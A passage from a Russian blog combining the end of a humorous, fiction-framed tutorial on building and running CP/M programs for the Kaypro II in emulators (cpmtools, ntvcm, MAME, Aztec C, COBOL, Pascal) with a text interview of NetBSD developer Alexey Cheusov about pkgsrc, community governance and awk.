Выбираем пункт File Manager, затем выбираем floppydisk2:

Задаем название, с обязательным указанием расширения .dsk, выбираем формат kaypro2:

Cозданный образ дискеты должен появиться в каталоге, из которого запускался эмулятор.

Запускаем повторно, с указанием созданного диска:

mame kayproii -w -rompath ./roms -flop1 disks/KAY64CPM.IMD -flop2 test2.dsk

Уже из CP/M запускаем программу форматирования:

initdisk

Выбираем формат диска для Kaypro, он идет самым первым в списке, поэтому нажимаем 0.

Программа форматирования сама выберет диск B, запустится форматирование:

После форматирования, можно перейти на диск B и убедиться что он читается, хотя и не содержит файлов:

Выключаем эмулятор и приступаем ко второй части концертной программы — разборками с пакетом cpmtools, для того чтобы записывать файлы с хоста на созданный образ дискеты.

Кстати образ с пустым, отформатированным под Kaypro II диском рекомендую сохранить, поскольку любая ошибка при работе с cpmtools (например если забыть указать формат -f kpii) этот диск убивает.

— Да все просто.

Если бы мне давали доллар каждый раз, когда я слышу эту фразу — давно бы стал миллионером..

— Наш коллега из организации, назовем его для простоты доктор Кригер, свято уверен, что только он один может.. как это он выразился?

«Создать новую электронную жизнь в древнем компьютерном теле».

— Надеюсь, ваш коллега хотя-бы вводит код руками, а не другим органом.

Гость посмотрев с удивлением, ненадолго задумался.

— Какая интересная мысль.

— Я уже упоминал, что вы с ним похожи?

CPMTOOLS

Это весьма известный набор инструментов для работы с файловыми системами CP/M, за авторством Michael Haardt.

К сожалению работа над оригинальным проектом прекращена, так что мы будем использовать более современный форк, уже из Github:

git clone https://github.com/lipro-cpm4l/cpmtools.git

Собираем и запускаем сборку:

./configure
make

В результате сборки появится несколько бинарников, готовых к запуску:

Думаю даже по названию нетрудно догадаться об их предназначении.

Для всех последующих увеселений будут использоваться в основном эти два: cpmls и cpmcp.

Первый предназначен для просмотра содержимого образа диска, второй — для копирования внутрь файлов с хоста.

Копируем созданный образ диска в текущий каталог:

cp ../../work/kayproii-machine/test2.dsk .

Проверяем что диск читается:

./cpmls -f kpii test2.dsk

Копируем тестовый файл

./cpmcp -f kpii test2.dsk README 0:README.TXT

Повторный запуск cpmpls должен показать содержимое диска с тестовым файлом:

NTVCM

Наконец последний эмулятор CP/M, который тоже придется использовать, хотя и опосредованно:

Virtual CP/M Machine. Emulates CP/M and the 8080/Z80 on Linux, MacOS, Windows, and real-mode 8086 DOS to run CP/M .com files

Кстати последний он еще и в том смысле, что это новая разработка, созданная (судя по коммитам) буквально пару лет назад.

Созданная, для того чтобы эмулировать систему из 80х, представляете?

Этот самый ntvcm придется собрать и добавить в переменную PATH, поскольку эмулятор создан тем же автором, что собрал репозиторий с компиляторами под CP/M и используется из скриптов для тестов и.. кросс-компиляции.

Под CP/M, ага.

Шаги простые и очевидные:

git clone https://github.com/davidly/ntvcm.git
cd ntvcm
make

Дальше просто добавляете этот каталог в переменную PATH:

export PATH=$PWD:$PATH

На этом подготовка к ~~оргии~~ празднику древней разработки наконец завершена и мы снова переносимся обратно в офис.

— Короче, коллега Кригер считает, что только он один в силах что-то написать для нашего Kaypro II.

— Что вообщем-то правда, поскольку остальные умеют все эти ваши компьютеры только включать и выключать.

— Обычно пинком.

Тут мой гость понял, что наверное не стоило показывать зависимость от будущего исполнителя.

— Но разумеется, у нашей организации есть и другие варианты.

— Пробовали привлекать «юные дарования», как самые перспективные. Закончилось.. не очень хорошо.

Достав из внутреннего кармана пиджака конверт, гость выложил на стол несколько фотографий.. полных неописуемого ужаса.

— Бедный парень.. это же парень, правда?

Увиденное на фото заставило шевелиться последние остатки волос.

— Когда его нашли, он был в бреду и ползал в ванной, обмазавшись собственными экскрементами.

— Весь пол, стены и даже потолок были изрисованы чем-то коричневым — символами, похожими на египетские иероглифы:

All 24 and 28 pins EPROM pinout 2708 - 27512. Отсюда.

— Это распиновка EPROM, для Z80.

— Хм, гляжу вы действительно разбираетесь.

Тут гость привлек мое внимание, указав на одну из фотографий.

— Вот здесь, на стене было загадочное послание, оставленное.. аналогичным способом.

— Но его смысл мы так и не смогли разгадать.

Я пригляделся к фотографии:

640КБ ХВАТИТ НА ВСЕХ

— Нет идей что бы это могло значить?

Пол Аллен и юный Гейтс за четыре года до основания Microsoft.

НЕПРЕРЫВНОЕ ВЕСЕЛЬЕ

Возвращаясь к тому адскому репозиторию с компиляторами, наконец рассказываю основное:

как ~~современному ребенку~~ вести разработку для компьютера из 1987 года.

Цепочка необходимых действий выглядит следующим образом:

Сборка;
Тестовый запуск с помощью ntvcm;
Запуск с помощью myz80;
Запуск в Mame с образом настоящего Kaypro II;
Сеанс рукоблуд.. ээ переход к следующему примеру.

И начнем мы с того самого примера, показанного на заглавной картинке в фоне.

Сразу предупреждаю:

собираем только самые простые варианты, так как каждый сложный имеет свою специфику, требующую отдельного описания.

Но даже в этом случае показать получится очень далеко не все — интересных компиляторов и тулчейнов в репозитории просто чудовищное количество.

Начнем разумеется с компилятора языка С, но.. особенного.

Aztec C

Спасая цитату из погибающей википедии:

Aztec C is a discontinued C programming language compiler for CP/M-80, MS-DOS, Apple II (both Apple DOS 3.3 and ProDOS), Commodore 64, early Macintosh, Amiga, and Atari ST. It was sold commercially by Manx Software Systems[1].

Судя по обнаруженным материалам, это был весьма известный и популярный продукт для тех лет.

А еще это вариация языка С до стандартизации, поэтому и называется не просто компилятором, а прям отдельным языком:

Aztec C — a programming language for a variety of platforms

Редкое для современных бюрократических реалий зрелище: компилятор, забивающий на стандарты и правила.

Так выглядела обложка руководства пользователя, версии для Amiga:

На фото плохо видно, но коробка справа тряпичная, примерно как упаковка дорогого вина или часов.

А вот так выглядел каталог с компилятором в версии для MSX:

1982 год, о здоровье глаз тогда еще не заботились.

Так что это был популярный и известный инструмент, с весьма скромными прайсами:

Сложно из 2026 года оценивать цены 1980х, но судя по прайсу выше, Aztec C был явно не самым дорогим софтом, тем более для разработчиков.

Но мы опять отвлеклись.

Переходим в каталог manx aztec c v106d и запускаем сборку примера:

./m.sh EXMPL

Да, обязательно КАПСЛОКОМ и обязательно без указания расширения, поскольку в скрипте идет вызов как компилятора, так и линковщика.

Будет собран COM-файл для CP/M, который проще всего запустить с помощью эмулятора от автора репозитория:

ntvcm EXMPL.COM

Так весь процесс выглядит в действии:

Теперь запустим на втором эмуляторе — MYZ80, чтобы убедиться в корректности только что собранного приложения.

Копируем созданный EXMPL.COM в каталог с эмулятором и запускаем его через Dosbox:

cp ../../src/cpm_compilers/manx\ aztec\ c\ v106d/EXMPL.COM .
dosbox MYZ80.EXE

Затем, уже из CP/M выполняем:

import EXMPL.COM

Этим действием, файл будет скопирован с хоста в виртуальный диск (дискету) CP/M, откуда его наконец можно будет запустить:

EXMPL

В действии:

Наконец в качестве ~~дембельского аккорда~~ контрольного примера, показываю запуск и работу в Mame.

Переходим в каталог с cpmtools и выполняем:

./cpmcp -f kpii ../../work/kayproii-machine/test2.dsk ../cpm_compilers/manx\ aztec\ c\ v106d/EXMPL.COM 0:EXMPL.COM

Этим действием мы запишем наше собранное приложение EXMPL.COM в образ дискеты для Kaypro II.

Для проверки выполняем:

./cpmcp -f kpii ../../work/kayproii-machine/test2.dsk

Должно быть видно содержимое образа дискеты, с новым файлом внутри:

Наконец запускаем максимально близкую к реальности эмуляцию компьютера Kaypro II в Mame:

mame kayproii -w -rompath ./roms -flop1 disks/KAY64CPM.IMD -flop2 test2.dsk

Так это выглядит в действии:

Чтобы не раздувать статью до совсем уж скотских размеров, для всех остальных компиляторов покажу только финальный запуск в Mame.

Пусть ваше больное воображение дорисует недостающее.

— Ладно, думаю мы договорились.

— Небольшое приложение для Kaypro II образца 1987 года, для причинения моральных страданий немецкому инженеру.

На этом мой гость задумался, как будто вспоминая важную деталь.

— Как же оно называется? Туда запихиваются такие плоские черные штуки? Д.. дди.. доо..

— Дисковод, для дискет.

— Работу необходимо сдать на 5.25 дискете, я понял.

Это был первый раз в моей жизни, когда надо было сдать работу на пятидюймовой дискете.

Но с учетом роста цен на чипы памяти и SSD — думаю далеко не последний.

(гомерический хохот за кадром)

Закончив переговоры, мой гость попрощался и ушел, оставив меня в глубоких раздумьях об истинной природе вещей.

О том, что не надо упарываться, коль жизнь подбросила уже упоротый проект.

Чтобы потом не размазывать собственное говно по стенам и потолку в процессе отладки.

Но работа есть работа и вскоре я приступил к насилию над поисковыми системами, рыская по сети в поисках археотеха, способного помочь с разработкой под столь лютый винтаж.

Так выглядела обложка от оригинальной упаковки с комплектом дискет.

Microsoft COBOL

Малоизвестный ныне факт, но компания Microsoft когда-то продавала компилятор COBOL:

Microsoft produced a COBOL compiler for CP/M. This product was also licensed to IBM as IBM Cobol Compiler.

Я собрал и запустил пример, который производит вычисление корня методом Ньютона:

./m.sh SQUARO

Для запуска помимо SQUARO.COM надо перебросить в эмулятор еще и файл RUNCOB.COM,иначе не заработает.

Так этот пример выглядит в работе, на фоне (в редакторе) можно заметить исходный код на COBOL:

Microsoft COBOL оказался хотя и интересным, но все же мало актуальным компилятором, так и не нашедшим широкого применения в свое время.

Врядли приложение на COBOL было лучшим вариантом, чтобы утереть нос немецкому коллеге-инженеру.

Так что я стал искать дальше.

Однако был еще один важный вопрос, который стоило закрыть прежде чем выбрать наконец язык реализации.

alex0x08: дарова!

alex0x08: нужны тайные знания ордена

alecv: излагай

alex0x08: надо программку одну запустить, на железе из 1987 года :)

alex0x08: только что собрал

alex0x08: да, я трезвый

alecv: эк же тебя жизнь скрутила..

alecv: нет чтобы как все — миксуешь себе Сlaude Соde с фентанилом да вбиваешь промпты, представляя что ты в LA..

alecv: ладно, поможем

alecv: скидывай сборку

Единственное фото дискеты с этим компилятором, которое удалось найти

Pro Pascal

Кто ищет — всегда находит, поэтому очень скоро обнаружилась еще одна невероятная ~~дичь~~ редкость:

Prospero Pascal is a full-featured Pascal that includes everything you need to begin writing stand-alone programs for your Atari ST.

Компилятор Паскаля для 8-битных компьютеров ~~с блекджеком и блудницами~~ с дополнениями и доработками:

Prospero Pascal is a superset of ISO Standard Pascal. In addition to the standard features, this package offers a number of extensions including dynamic strings, single- and double-precision floating-point arithmetic, an assembler-level interface, and separate compilation of program segments. Moreover, Prospero Pascal offers a high degree of portability.

Динамические строки, вычисления с плавающей точкой, поддержка ассемблерных вставок и все это в 1983м году!

На Паскале и под Atari, если кто вдруг не понял.

Разработкой занималась маленькая британская компания Prospero Software, закрытая к 1998му году.

В качестве примера была взята реализация "симулятора жизни":

./m.sh LIFE

К сожалению автоматически (из скрипта сборки) оно не линкуется, так что пришлось вызывать этот шаг отдельно:

ntvcm PROLINK.COM LIFE,PASLIB/S

Так эта программа выглядит в работе:

Все выше конечно весьма занимательные (для археологов и некрофилов) штуки, но самое интересное я приберег напоследок.

Пару дней спустя я сидел в кафе напротив Казанского собора, наслаждаясь утренним кофе и редким для этих мест ярким солнцем.

Внезапно мне в бок воткнулось что-то твердое и холодное.

— Не оборачивайся, не задавай вопросов.

Незнакомец что-то положил в карман моего пальто.

— Посылка доставлена, внутри найдешь пятидюймовую дискету с записью сборки для твоего заказчика.

— Достаточно воткнуть ее в дисковод.

— Но как вы.. как вы смогли записать ее в 2026м году?!

— Тайны ордена, посторонним знать не положено.

— На этом все.

Давление на мой бок ослабло и незнакомец исчез.

Borland Pascal 1.0

Тот самый Паскаль, ставший для многих ~~первой любовью~~ первым языком программирования, поскольку именно на нем много лет обучали кодингу в школах и некоторых ВУЗах этой страны.

В результате чего появлялись на свет такие как автор, для которого Паскаль тоже когда-то был самым первым.

Но то что я сейчас покажу — не просто «какой-то там Паскаль» и даже не «какой-то там Паскаль» от фирмы Borland, ставшей законодательницей мод в паскалестроении.

Это его первая релизная версия, с которой все началось.

А еще с первой версии стартовала история и знаменитой среды разработки, с помощью которой осуществлялась сборка и отладка программ.

Вот он, тот самый TURBO.COM, который позже превратится в TURBO.EXE:

Кусочек руководства пользователя с адресом «небольшой компании-стартапа» на просторах Калифорнии:

А я почему-то всегда был уверен, что Borland начиналась как европейская компания — удивительные открытия порой приносит компьютерная археология.

Для тестов, были скопированы TURBO.COM и HELLO.PAS на образ дискеты, который затем подключили в эмулятор.

Код HELLO.PAS это классический «Hello, world», с которого начинали свой трудовой путь и карьеру все программисты:

program hello;

begin
    writeln( 'hello davidly' );
end.

К сведению, davidly это ник дедушки-автора, собравшего сей сказочный репозиторий.

Так все действо выглядит в эмуляторе Mame:

НЕЛЕГКИЙ ВЫБОР

Итак, у меня набралось четыре варианта на выбор:

Первая релизная версия Borland Pascal;
Редкая версия Pascal, с крутыми (для 1983 года) фичами;
Microsoft COBOL, без комментариев.

И конечно же Aztec C — реализация языка С до его стандартизации, настоящий артефакт.

Надо было выбрать что-то одно и я решил кинуть кости, оставшиеся в офисе со времен бурной молодости:

Мысленно назначив каждому варианту по грани, я подбросил кубик в воздух, поймал и медленно положил на стол, накрыв ладонью.

Что выбрала для меня судьба?

И.. да, это Aztec C.

(бурные аплодисменты)

Но не потому, что верю в судьбу или так подсказал какой-то сраный кубик. Просто в любой непонятной ситуации я всегда выбираю Си.

И такой подход еще ни разу не подводил.

В такое безусловно сложно поверить далекому от Сант-Петербурга обывателю, но это настоящий барельеф с масонским гербом.

ПОСЛЕДНЯЯ ПРОВЕРКА

Старый, дореволюционной постройки дом в самом центре Питера, с гербом масонского ордена на барельефах разумеется привлекал внимание туристов, наделавших немалое количество селфи на его фоне.

Но мало кто даже из коренных петербуржцев догадывался, что находится внутри.

Меня встретили у неприметной двери, в которую надо было постучать определенным образом и строго в нужной последовательности.

Затем надев на голову черный мешок, непроницаемый для любого света, аккуратно сопроводили в тайное помещение ордена.

Ордена «Свидетелей Спектрума».

С незапамятных времен Советского Союза, этот тайный орден хранил уникальные знания и что самое важное — поддерживал в рабочем состоянии удивительные машины из далекого прошлого.

Тут было все:

Спектрумы, Амиги, старые рабочие станции Sun и HP, DEC и даже Alpha.

Денно и нощно (обычно по субботам) монахи ордена без устали смазывали, паяли и окуривали все это благовониями, дабы ублажить «дух машины» обитающий в старом железе.

Орден ревностно хранил свои секреты и мне очень далеко не сразу было позволено хотя бы приблизиться к их древностям.

Но все же мне необходима была их помощь для последней проверки перед сдачей этого фантастического проекта:

запуска собранного приложения для машины из 1987го на реальном компьютере 1987го.

Меня сопроводили в специальную, строго охраняемую комнату, где на постаменте, под защитным стеклом находился артефакт из далекого прошлого.

Robotron 1715 — 8-разрядный персональный компьютер производства ГДР. Производился на заводе VEB Robotron.

Версия 1715M, сохраненная в ордене это «экспортный» вариант, когда-то давно поставляемый в Советский Союз.

С величайшим почтением нашептывая молитвы загрузки, послушник в черном балахоне приблизился к постаменту и приложил ладонь к считывателю отпечатков пальцев.

Защитное стекло начало медленно опускаться.

Не прекращая молитвенные напевы, послушник вставил кабель питания в древнее устройство и наконец нажал кнопку запуска.

Первыми ожили вентиляторы, оповестив своим гулом о начале пробуждения машины от долгого сна. Затем коротко пискнул спикер, сообщив об отсутствии неполадок в оборудовании.

Последним ожил древний ламповый монитор — лампам требовалось время для прогрева, поэтому надписи появились не сразу.

Наконец запуск и загрузка операционной системы SCP — аналога CP/M, но из ГДР были завершены.

Появилось приглашение ввода команд:

А>

Послушник взял мою пятидюймовую дискету с записанной сборкой и с благоговением вставил ее в древний дисковод, не забыв выставить специальную защелку в вертикальное положение.

Затем на не менее древней механической клавиатуре он ввел:

B:
MESSAGE.COM

Дисковод ожил и издавая чудовищный скрежет начал загружать мое послание доктору Кригеру.

Через какое-то время на экране появились строки:

NE PUERO GLADIUM, DR. KRIGER.
04.03.2026

Что в переводе с латыни означает:

НЕ СТОИТ ДАВАТЬ БОЕВОЙ МЕЧ МАЛЬЧИКУ, ДОКТОР КРИГЕР.

Проверка удалась и написанное мой приложение для компьютеров 80х под CP/M действительно успешно запустилось на настоящем компьютере из 1987 года.

Так это выглядело в живую:

Мое послание, запущенное на настоящем Роботроне.

ЭПИЛОГ

Как мне позднее сообщили, коллега по опасному инженерному делу — доктор Кригер действительно впечатлился и на какое-то время перестал терроризировать сослуживцев ~~сливая с них лишнюю кровь~~.

Обратив вместо этого пытливый взор на мою скромную персону и заставив немного побегать по Питеру от целой армии роботов.

Как это было, что за смуглая красавица спасла меня от неминуемой гибели и почему я больше не смотрю «Битву экстрасенсов» — обо всем этом вы узнаете из следующих серий.

В наше непростое время, когда практически все сколь-нибудь серьезные темы находятся под контролем или запретом, с риском уголовного преследования, остается только использовать «Эзопов язык», превращая излагаемый материал в сказку для непосвященных.

Если вас, дорогой читатель, волнует реальность описываемых событий, задумайтесь о том, что чип Z80 (и его клоны) является вторым по распространенности на планете, а операционная система CP/M c момента своего появления никогда не покидала прошивок промышленного оборудования.

Закончилась война во Вьетнаме, вышли первые «Звездные войны», развалился Советский Союз, вышли первый и второй «Терминаторы», появился Linux, затем Google — все это время продолжали работать станки, с программируемой логикой на Z80, а временами даже с управляющим софтом под CP/M.

Это на самом деле ведь никогда не заканчивалось.

И врядли закончится:

Теперь задумайтесь, а как бы происходила проверка компетенций, прежде чем допускать до подобного проекта? Не тестовым ли приложением?

Но кто именно был гостем с военной выправкой думаю вам выяснять не стоит, это секретная информация.

NetBSD: Интервью с разработчиком

2026-02-11T09:05:29.949Z

На одной истории с OpenBSD и Вячеславом Воронцовым мы конечно же не остановились, на этот раз в гостях у нас ещё один яркий и интересный представитель сообщества BSD.

Рассказ пойдет о системе NetBSD, потому что у нас в гостях Алексей Чеусов — самый настоящий разработчик NetBSD.

Видео

Выкладываем как обычно везде где только можно, сам ролик:

На других платформах: Youtube, Rutube.

Интервью

Ниже вас ждет текстовая версия интервью с Алексеем в литературной обработке, это не дословный перевод всех реплик из видео.

По той простой причине, что мы «художественных ПТУ» не оканчивали и общаемся в жизни далеко не на литературном русском.

Как и в прошлый раз, ради большей эпичности, будем использовать наши ники в сети для выделения реплик:

laizoaarz — Алексей Чеусов, гость
alex0×08 — Александр Чернышев, ведущий

Собственно и автора и гостя можно легко найти, вбив ник в любую поисковую систему.

Поехали.

Алексей Чеусов

Алексей — программист-математик с большим опытом, работающий с NetBSD с 2006 года, действующий ментейнер в нескольких крупных открытых проектах, отвечающий за большое количество пакетов в pkgsrc.

Контакты

Почта: cheusov@netbsd.org

Телеграм: @convs_prog
Github: https://github.com/~cheusov
Youtube: https://www.youtube.com/@convs_prog
Блог: dzen.ru/convs_prog

laizoaarz

Всем привет. Это я.

alex0x08

Если видели прошлые ролики, думаю догадываетесь что будет дальше:

я буду снова задавать дурацкие и обывательские вопросы, Алексей будет давать умные комментарии и ответы.

Мы кстати идём по самому центру Питера и помимо умного разговора о высоком, вы еще увидите офигительно красивую картинку (в ролике).

С погодой нам тоже сегодня сильно повезло, так что сейчас будет круто и красиво.

laizoaarz

Зовут меня Алексей Чеусов.

Занимаюсь программированием с детства, зарабатываю этим примерно с девяносто шестого (1996).

Люблю, знаете ли, железки поковырять.

Математику люблю, юниксы люблю.

alex0x08

Алексей на самом деле скромничает, потому что он фактически самый настоящий математик, учёный. Закончил профильный математический ВУЗ и собственно говоря по основной работе занимается математикой.

При этом является активным коммитером NetBSD, у него есть специальная почта в домене netbsd.org.

Еще Алексей активно выступает на конференциях с докладами как по математическим темам, так и по BSD-шным.

Короче, это весьма известный, опытный и интересный человек.

Когда мы делали ролик про OpenBSD, я там говорил «ваш шанс встретить живого пользователя OpenBSD на улице примерно равен шансу встретиться с космонавтом».

Так вот с NetBSD всё ещё круче, поскольку это еще более редкая система.

laizoaarz

Ну да, я сам из Минска, из Беларуси. Родился, вырос там.

И в моём окружении, честно сказать, никто NetBSD не использует. OpenBSD встречается в наших кругах куда чаще.

Я в последнее время жил в Кутаиси и на одной тусовке местных экспатов встретил пользователя OpenBSD.

Это было очень неожиданно. Мы с ним тут же, за игрой в настольные игры поспорили, какая из BSD лучше.

Было весело и забавно:

мало того, что мы BSD-шники, так ещё и встретились в узком кругу экспатов в Грузии.

Почему NetBSD

alex0x08

Расскажи, почему именно NetBSD?

laizoaarz

Как часто бывает, это случайность :)

Гостил у своих приятелей из Sam Solutions — компания в Минске, где до сих пор существует отдел UNIX-разработки. Хотя сейчас уже Linux-разработки, в основном.

Увидел у них болванки — FreeBSD, NetBSD, OpenBSD.

Ну и попробовал все по очереди.

Начав с FreeBSD, которая у меня.. упала и развалилась. Причём неоднократно, так что с ней у меня не задалось.

laizoaarz

Это была пятая версия, 5.3.

После чего поставил NetBSD 2.02. Как сейчас помню, это был 2006 год. К тому моменту я уже был знаком с Линуксом много лет.

Так что NetBSD — моя вторая Unix-подобная система.

Первый был Linux Suse 6.1.

Suse Linux 6.1

laizoaarz

И с NetBSD как-то у меня пошло.

Пошло во-первых, по технической части.

Она мне понравилась, всё заработало, всё было очень просто и понятно. NetBSD какая-то такая.. стабильная оказалась.

Дальше пошло общение с людьми, с разработчиками:

Thomas Klausner, Christos Zoulas, Alistair Crooks, David Holland.

Все эти ведущие разработчики NetBSD, с которыми пересекался, с ними пошло нормальное общение.

И я как-то увлёкся этим делом.

Ну и «прилип» не только к технике, но и к этим всем людям, которые показались очень интересными.

NetBSD и демократия

alex0x08

Когда готовился к этому ролику и начал собирать материал, оказалось что сообщество NetBSD — гораздо более.. демократично устроено, нежели другие, более известные и популярные из BSD.

Например, каждый коммитер может выкладывать патчи для любого пакета.

Расскажи как вообще у вас сообщество устроено, в чём отличие от «кровавого диктата» Тео в OpenBSD?

laizoaarz

Одна из причин, почему я не использую OpenBSD и считаю эту систему непригодной для жизни, это откровенный «фюризм».

OpenBSD это система одного человека, как он сказал, так и будет.

А в NetBSD всё устроено совсем по-другому.

Там есть Core Team, который принимает взвешенные решения по спорным вопросам. Cостоит, насколько помню из семи человек.

laizoaarz

И в случае возникновения каких-то непримиримых споров, все решается коллегиально. Туда кстати входил в прошлом и Валерий Ушаков из Питера, ваш местный товарищ.

Состав Core Team меняется и соответственно меняются поколения разработчиков.

В общем, как-то так всё происходит, более плавно.

Никто не уходит обиженным, в отличие от других экосистем, где всё устроено несколько по-другому.

В NetBSD все сильно лучше в этом плане. Но тотальной «демократии» здесь совершенно точно нет, всё гораздо интереснее.

alex0x08

В FreeBSD на самом деле тоже есть Core Team, размером по-больше, человек 15. Но в любом случае там нет такого, что любой коммитер может отправлять патчи в любую часть системы или набора пакетов.

Про общие пакеты

laizoaarz

Приведу пример.

Если мы проанализируем самых популярных ментейнеров пакетов в pkgsrc, увидим там почтовый адрес @pkgsrc-users:

laizoaarz

Это отнюдь не означает, что пакет бесхозный.

Это означает, что человек создал пакет, добавил в базу, но не берёт на себя труд по сопровождению этого пакета, по его поддержке.

Пакет принадлежит как бы всем.

И любой человек, с оглядкой на сообщество, на этот список рассылки @pkgsrc-users, может сюда коммитить.

Все это приводит к тому, что откровенно бесхозных пакетов нет.

И получается, что пакеты движутся вперёд более активно, чем если бы один человек уснул или там, не знаю, нарожал детей, ушёл ~~в запой~~ а пакет стоит без движения, без апдейтов все это время.

alex0x08

На самом деле, «не ушёл и не нарожал детей», чаще всего просто времени не хватает на все это у людей.

Самая частая причина, что просто сильный завал по работе и все — ребят, извините, не тяну.

По крайней мере во FreeBSD это самая частая причина, по которой меняются ментейнеры.

Точно не «идейные разногласия».

История с тостером

alex0x08

Сейчас мы развеем наверное самую известную байку про NetBSD — насчёт её реальной кроссплатформенности.

Расскажи эту историю про NetBSD на тостере:

Yesterday at LinuxWorld 2005 I ran into Jake Appelbaum and he mentioned that upstairs in up the .org Pavilion there was a toaster that was powered by NetBSD (the first open source version BSD, a Unix-like operating system). John Mc and I went up there and found the candy apple red toaster that was being controlled by NetBSD, and it actually made toast.

Очень известная история, ставшая для обывателей визитной карточкой NetBSD.

laizoaarz

Думаю эта байка повторяется каждое десятилетие. И по-моему это какая-то глупость, которую стоит перестать повторять.

Если подходить к вопросу объективно, то все операционки стремятся быть перенесёнными на всё что движется.

NetBSD естественно это тоже касается, но это не означает что она лидер в данной области.

лидером по портируемости является Linux и уже очень давно.

И если уж мы выбираем операционную систему, то на мой взгляд совершенно не по этой причине.

Я например выбрал NetBSD совершенно по другим причинам. Точно не потому, что она якобы такая переносимая.

Про поддерживаемые архитектуры

alex0x08

История с количеством поддерживаемых архитектур.

Насколько понимаю, всё не настолько глобально как кажется обывателю? Из огромной массы поддерживаемых архитектур только примерно половина — активные, остальные просто есть в списке.

laizoaarz

Ну да.

В NetBSD есть три категории поддерживаемые систем:

Tier I поддерживается активно, туда входит x86 ясное дело, ARM, MIPS.

Вторая категория — всякие устаревшие SPARC, ALPHA и PowerPC.

И третья категория, то что вероятнее всего отвалится, потому что некому поддерживать. Не потому что эти архитектуры не нужны, а просто потому что это некому поддерживать.

Что касается целесообразности поддержки всяких Sony PlayStation 2 и прочей экзотики, как-то в рассылке видел забавный аргумент, когда разработчики обсуждали, нужно ли им поддерживать старый хлам.

Один из разработчиков NetBSD выдвинул следующий аргумент:

нам не столько нужен этот условный Sony PlayStation 2.0, сколько факт, что на нем все тоже работает.

А если это не так, значит мы сделали что-то неправильно.

Так что поддержка большого количества архитектур, при условии работоспособности, однозначно доказывает, что с точки зрения дизайна операционной системы всё сделано верно.

И вот для этого портируемость очень важна и очень нужна.

NetBSD и драйвера

alex0x08

От себя добавлю, что в NetBSD очень интересный подход к поддержке железа. Фактически там нет концепции драйвера устройства, но есть «фреймворк» для их создания, внутренний.

И когда создается код для поддержки конечного устройства, он пишется так чтобы его можно было применять на разных архитектурах.

laizoaarz

Ну да, это упрощает поддержку железа на разных архитектурах.

alex0x08

Но ооочень сильно усложняет саму разработку, потому что когда попытался что-то портировать из FreeBSD — концов просто не нашёл.

NetBSD и pkgsrc

alex0x08

Поскольку Алексей в основном занимается поддержкой пакетов, он — ментейнер очень большого их количества в pkgsrc, про пакетную базу может рассказать много чего интересного.

Давай начнём с достаточно известного факта:

пакетная база pkgsrc на самом деле кроссплатформенная и все пакеты собираются под кучей разных систем.

Расскажи как это все происходит.

laizoaarz

Тут сразу ошибка в описании:

пакеты не для NetBSD, пакеты для проекта pkgsrc.

NetBSD тут лишь одна из целевых платформ для сборки пакетов, с поддержкой разных архитектур.

А у самого проекта pkgsrc одна из главных целей — поддержка разных операционных систем.

Поэтому если создал пакет один раз, сборка потом работает и под Линуксом и под MacOS, и под Solaris и под Minix и так далее — под «всем что движется».

И это на самом деле работает, это ключевой момент.

Этим проект pkgsrc радикально отличается от всех остальных пакетных систем, знакомых юниксоидам.

pkgsrc без root

laizoaarz

Ну и вторая фича pkgsrc, которая мне кажется очень важной:

все пакеты можно устанавливать в домашний каталог.

Это так называемый unprivileged-режим, непривилегированный режим.

Для примера, опишу один кейс.

У меня есть много своих разработок, которые приходится тестировать на разных аппаратных архитектурах и разных операционных системах.

Тестирую я все это на большом количестве систем, куда у меня есть удаленный SSH-доступ, но без привилегий суперпользователя.

Для тестирования нужен какой-то набор софта на целевой машине, а поскольку нет прав суперпользователя — не могу установить все необходимое из родных для целевой системы пакетных систем.

Так что я устанавливаю все необходимое pkgsrc в домашний каталог, никого при этом не дёргая по поводу доступа.

Удобно.

Рабочий стол Алексея

alex0x08

Расскажи про свою рабочую систему, ведь на самом деле ты — очень редкий вид пользователя, поскольку у тебя NetBSD используется непосредственно на рабочей станции, в качестве основной ОС.

Что из софта используешь, как это вообще выглядит?

Emacs наверное какой-нибудь?

laizoaarz

Ну я «админ локалхоста», но очень опытный.

А в целом, я — разработчик и больше занимаюсь программированием.

Ну как больше, я 100% времени занимаюсь программированием, а не администрирую что-либо.

Поэтому да, у меня NetBSD на десктопе, одна из систем.

В основном у меня там используется Emacs, urxvt — форк rxvt с поддержкой Unicode и довольно древний window-менеджер ctvm, который меня вполне устраивает.

ctwm с тонкой настройкой Алексея

Вообще считаю:

для разработчика window-менеджер или так называемый «desktop environment» никак не улучшает производительность.

Поэтому хватает столь древнего window-менеджера, который недавно в NetBSD сделали устанавливаемым по-умолчанию, внеся его в базовую систему.

Пользуюсь им наверное с начала двухтысячных годов.

История с дедушкой Керниганом и awk

alex0x08

Насколько знаю, ты часто отправляешь патчи для разных открытых проектов, в том числе для awk. Из-за чего у тебя случилась интересная история с Брайаном Керниганом.

Когда про это услышал — очень сильно удивился.

Расскажи, хотя-бы в кратце.

laizoaarz

Если вкратце, то я очень много в свое время писал на awk.

Напомню, awk — такой язык программирования, хотя и примитивный, но весьма могучий.

Я awk люблю особенно нежно и очень давно.

Ну и когда писал на нём очень активно, сталкивался с проблемами в реализации для NetBSD, что реализация не соответствует POSIX.

То тут, то там.

Или просто какой-то баг присутствует.

Я этих багов накопил штук 13, ну и зная что в NetBSD используется реализация Брайна Кернигана, написал непосредственно в upstream — самому Кернигану письмо:

дяденька, поправьте пожалуйста вот тут, поправьте вот там, тут у вас баг.

Ответ от него был довольно забавный, в стиле:

Мальчик, иди отсюда. Это не баги. Моя книга была написана до этого вашего POSIX, поэтому это не баги, это фичи!

Вот такая весёлая история.

Зато в NetBSD все эти замечания приняли и внесли исправления. В целом awk был очень сильно поправлен в NetBSD благодаря моим багрепортам.

alex0x08

Ребят, если кто не в курсе, я сюда вставлю ссылки, кто такой этот Брайан Керниган.

Вы очень сильно удивитесь.

laizoaarz

Это очень хороший и известный дядька, конечно же.

Я учился по его книгам. Но оказался в жизни немножко злобным, хотя это и неудивительно.

alex0x08

Собственно, это один из авторов языка Си, один из авторов UNIX.

Фактически исторический персонаж, по уровню события — как если бы вам ответил лично Билл Гейтс.

laizoaarz

Ну типа того, да.

Проект mk-configure

alex0x08

У тебя есть ещё интересные проекты, например mk-configure.

Расскажи?

laizoaarz

Есть такой, да. Система сборки.

В своё время меня достал «autoshit» так называемый, или «autobloat», в миру autotools.

Достал тем, что крайне неудобен в использовании. Да и честно говоря, over-engineering там откровенный, между нами и девочками.

Я решил, что в принципе против кодогенерации в проектах подобного рода. Это там не к месту, как мне кажется.

